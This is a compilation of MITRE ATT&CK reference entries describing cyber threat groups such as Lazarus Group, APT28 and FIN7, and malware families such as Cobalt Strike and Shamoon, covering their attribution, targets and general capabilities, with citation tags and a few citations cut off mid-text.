[Lazarus Group](<https://attack.mitre.org/groups/G0032>) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](<https://attack.mitre.org/groups/G0032>) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) instead of tracking clusters or subgroups, such as [Andariel](<https://attack.mitre.org/groups/G0138>), [APT37](<https://attack.mitre.org/groups/G0067>), [APT38](<https://attack.mitre.org/groups/G0082>), and [Kimsuky](<https://attack.mitre.org/groups/G0094>).

Scarlet Mimic - G0029

[Scarlet Mimic](<https://attack.mitre.org/groups/G0029>) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](<https://attack.mitre.org/groups/G0029>) and [Putter Panda](<https://attack.mitre.org/groups/G0024>), it has not been concluded that the groups are the same. Stealth Falcon - G0038

[Stealth Falcon](<https://attack.mitre.org/groups/G0038>) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)

Winnti Group - G0044

[Winnti Group](<https://attack.mitre.org/groups/G0044>) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](<https://attack.mitre.org/groups/G0001>), [APT17](<https://attack.mitre.org/groups/G0025>), and [Ke3chang](<https://attack.mitre.org/groups/G0004>), are closely linked to [Winnti Group](<https://attack.mitre.org/groups/G0044>).(Citation: 401 TRG Winnti Umbrella May 2018)

Gamaredon Group - G0047

[Gamaredon Group](<https://attack.mitre.org/groups/G0047>) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](<https://attack.mitre.org/groups/G0047>) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)

In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](<https://attack.mitre.org/groups/G0047>) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium

Magic Hound - G0059

[Magic Hound](<https://attack.mitre.org/groups/G0059>) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)

Operation Wocao - G0116

[Operation Wocao](<https://attack.mitre.org/groups/G0116>) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](<https://attack.mitre.org/groups/G0116>) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](<https://attack.mitre.org/groups/G0116>) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)

Axiom - G0001

[Axiom](<https://attack.mitre.org/groups/G0001>) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](<https://attack.mitre.org/groups/G0001>) and [Winnti Group](<https://attack.mitre.org/groups/G0044>) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)

Turla - G0010

[Turla](<https://attack.mitre.org/groups/G0010>) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](<https://attack.mitre.org/groups/G0010>) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](<https://attack.mitre.org/groups/G0010>)'s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)

APT32 - G0050

[APT32](<https://attack.mitre.org/groups/G0050>) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity

TA505 - G0092

[TA505](<https://attack.mitre.org/groups/G0092>) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)

APT28 - G0007

[APT28](<https://attack.mitre.org/groups/G0007>) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)

[APT28](<https://attack.mitre.org/groups/G0007>) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](<https://attack.mitre.org/groups/G0007>) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US

District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](<https://attack.mitre.org/groups/G0034>).

Equation - G0020

[Equation](<https://attack.mitre.org/groups/G0020>) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)

Patchwork - G0040

[Patchwork](<https://attack.mitre.org/groups/G0040>) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](<https://attack.mitre.org/groups/G0040>) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](<https://attack.mitre.org/groups/G0040>) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)

Darkhotel - G0012

[Darkhotel](<https://attack.mitre.org/groups/G0012>) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](<https://attack.mitre.org/groups/G0012>) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)

APT19 - G0073

[APT19](<https://attack.mitre.org/groups/G0073>) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](<https://attack.mitre.org/groups/G0073>) and [Deep Panda](<https://attack.mitre.org/groups/G0009>) as the same group, but it is unclear from open source information if the groups are the same. Mofang - G0103

[Mofang](<https://attack.mitre.org/groups/G0103>) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)

APT41 - G0096

[APT41](<https://attack.mitre.org/groups/G0096>) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](<https://attack.mitre.org/groups/G0096>) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](<https://attack.mitre.org/groups/G0096>) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](<https://attack.mitre.org/groups/G0044>). Sharpshooter - G0104

Operation [Sharpshooter](<https://attack.mitre.org/groups/G0104>) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](<https://attack.mitre.org/groups/G0032>) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)

Rocke - G0106

[Rocke](<https://attack.mitre.org/groups/G0106>) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](<https://attack.mitre.org/groups/G0106>) comes from the email address "rocke@live.cn" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](<https://attack.mitre.org/groups/G0106>) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)

DragonOK - G0017

[DragonOK](<https://attack.mitre.org/groups/G0017>) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](<https://attack.mitre.org/groups/G0017>) is thought to have a direct or indirect relationship with the threat group [Moafee](<https://attack.mitre.org/groups/G0002>). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)

Whitefly - G0107

[Whitefly](<https://attack.mitre.org/groups/G0107>) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore's largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)

Naikon - G0019

[Naikon](<https://attack.mitre.org/groups/G0019>) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People's Liberation Army's (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](<https://attack.mitre.org/groups/G0019>) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015)

While [Naikon](<https://attack.mitre.org/groups/G0019>) shares some characteristics with [APT30](<https://attack.mitre.org/groups/G0013>), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)

Silence - G0091

[Silence](<https://attack.mitre.org/groups/G0091>) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)

APT3 - G0022

[APT3](<https://attack.mitre.org/groups/G0022>) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)

In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)

APT38 - G0082

[APT38](<https://attack.mitre.org/groups/G0082>) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](<https://attack.mitre.org/groups/G0082>) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](<https://attack.mitre.org/groups/G0082>) stole \$81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) instead of tracking clusters or subgroups.

APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

Group5 - G0043

[Group5](<https://attack.mitre.org/groups/G0043>) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](<https://attack.mitre.org/groups/G0043>) has used two commonly available remote access tools (RATs), [njRAT](<https://attack.mitre.org/software/S0385>) and

[NanoCore](<https://attack.mitre.org/software/S0336>), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)

APT37 - G0067

[APT37](<https://attack.mitre.org/groups/G0067>) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](<https://attack.mitre.org/groups/G0067>) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year

2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) instead of tracking clusters or subgroups.

FIN6 - G0037

[FIN6](<https://attack.mitre.org/groups/G0037>) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)

GALLIUM - G0093

[GALLIUM](<https://attack.mitre.org/groups/G0093>) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](<https://attack.mitre.org/groups/G0093>) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)

FIN7 - G0046

[FIN7](<https://attack.mitre.org/groups/G0046>) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](<https://attack.mitre.org/groups/G0046>) was run out of a front company called Combi Security. Since 2020 [FIN7](<https://attack.mitre.org/groups/G0046>) shifted operations to a big game hunting (BGH) approach including use of [REvil](<https://attack.mitre.org/software/S0496>) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](<https://attack.mitre.org/groups/G0046>) may be linked to the [Carbanak](<https://attack.mitre.org/groups/G0008>) Group, but there appears to be several groups using [Carbanak](<https://attack.mitre.org/software/S0030>) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)

Kimsuky - G0094

[Kimsuky](<https://attack.mitre.org/groups/G0094>) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](<https://attack.mitre.org/groups/G0094>) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)

[Kimsuky](<https://attack.mitre.org/groups/G0094>) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) instead of tracking clusters or subgroups.

OilRig - G0049

[OilRig](<https://attack.mitre.org/groups/G0049>) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)

NEODYMIUM - G0055

[NEODYMIUM](<https://attack.mitre.org/groups/G0055>) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](<https://attack.mitre.org/groups/G0056>) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](<https://attack.mitre.org/groups/G0055>) is reportedly associated closely with [BlackOasis](<https://attack.mitre.org/groups/G0063>) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

DarkHydrus - G0079

[DarkHydrus](<https://attack.mitre.org/groups/G0079>) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)

BlackTech - G0098

[BlackTech](<https://attack.mitre.org/groups/G0098>) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia—particularly Taiwan, Japan, and Hong Kong—and the US since at least 2013. [BlackTech](<https://attack.mitre.org/groups/G0098>) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)

Andariel - G0138

[Andariel](<https://attack.mitre.org/groups/G0138>) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](<https://attack.mitre.org/groups/G0138>) has primarily focused its operations—which have included destructive attacks—against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](<https://attack.mitre.org/groups/G0138>)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)

[Andariel](<https://attack.mitre.org/groups/G0138>) is considered a sub-set of [Lazarus Group](<https://attack.mitre.org/groups/G0032>), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) instead of tracking clusters or subgroups.

Winnti for Linux - S0430

[Winnti for Linux](<https://attack.mitre.org/software/S0430>) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](<https://attack.mitre.org/groups/G0044>). The Windows variant is tracked separately under [Winnti for Windows](<https://attack.mitre.org/software/S0141>). (Citation: Chronicle Winnti for Linux May 2019)

Green Lambert - S0690

[Green Lambert](<https://attack.mitre.org/software/S0690>) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](<https://attack.mitre.org/software/S0690>) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)

AutoIt backdoor - S0129

[AutoIt backdoor](<https://attack.mitre.org/software/S0129>) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.

Cobalt Strike - S0154

[Cobalt Strike](<https://attack.mitre.org/software/S0154>) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](<https://attack.mitre.org/software/S0154>) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](<https://attack.mitre.org/software/S0002>). (Citation: cobaltstrike manual)

Olympic Destroyer - S0365

[Olympic Destroyer](<https://attack.mitre.org/software/S0365>) is malware that was used by

[Sandworm Team](<https://attack.mitre.org/groups/G0034>) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](<https://attack.mitre.org/software/S0365>) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020)

Trojan.Karagany - S0094

[Trojan.Karagany](<https://attack.mitre.org/software/S0094>) is a modular remote access tool used for recon and linked to [Dragonfly](<https://attack.mitre.org/groups/G0035>). The source code for [Trojan.Karagany](<https://attack.mitre.org/software/S0094>) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. Shamoon - S0140

[Shamoon](<https://attack.mitre.org/software/S0140>) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](<https://attack.mitre.org/software/S0140>) has also been seen leveraging [RawDisk](<https://attack.mitre.org/software/S0364>) and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

CHOPSTICK - S0023

[CHOPSTICK](<https://attack.mitre.org/software/S0023>) is a malware family of modular backdoors used by [APT28](<https://attack.mitre.org/groups/G0007>). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](<https://attack.mitre.org/software/S0314>).

BONDUPDATER - S0360

[BONDUPDATER](<https://attack.mitre.org/software/S0360>) is a PowerShell backdoor used by [OilRig](<https://attack.mitre.org/groups/G0049>). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)

BitPaymer - S0570

[BitPaymer](<https://attack.mitre.org/software/S0570>) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](<https://attack.mitre.org/software/S0570>) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](<https://attack.mitre.org/software/S0570>) has several indicators suggesting overlap with the [Dridex](<https://attack.mitre.org/software/S0384>) malware and is often delivered via [Dridex](<https://attack.mitre.org/software/S0384>). (Citation: CrowdStrike Indrik November 2018)

KillDisk - S0607

[KillDisk](<https://attack.mitre.org/software/S0607>) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](<https://attack.mitre.org/software/S0089>) malware during cyber attacks against Ukraine in 2015. [KillDisk](<https://attack.mitre.org/software/S0607>) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](<https://attack.mitre.org/software/S0607>) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)

BlackEnergy - S0089

[BlackEnergy](<https://attack.mitre.org/software/S0089>) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.
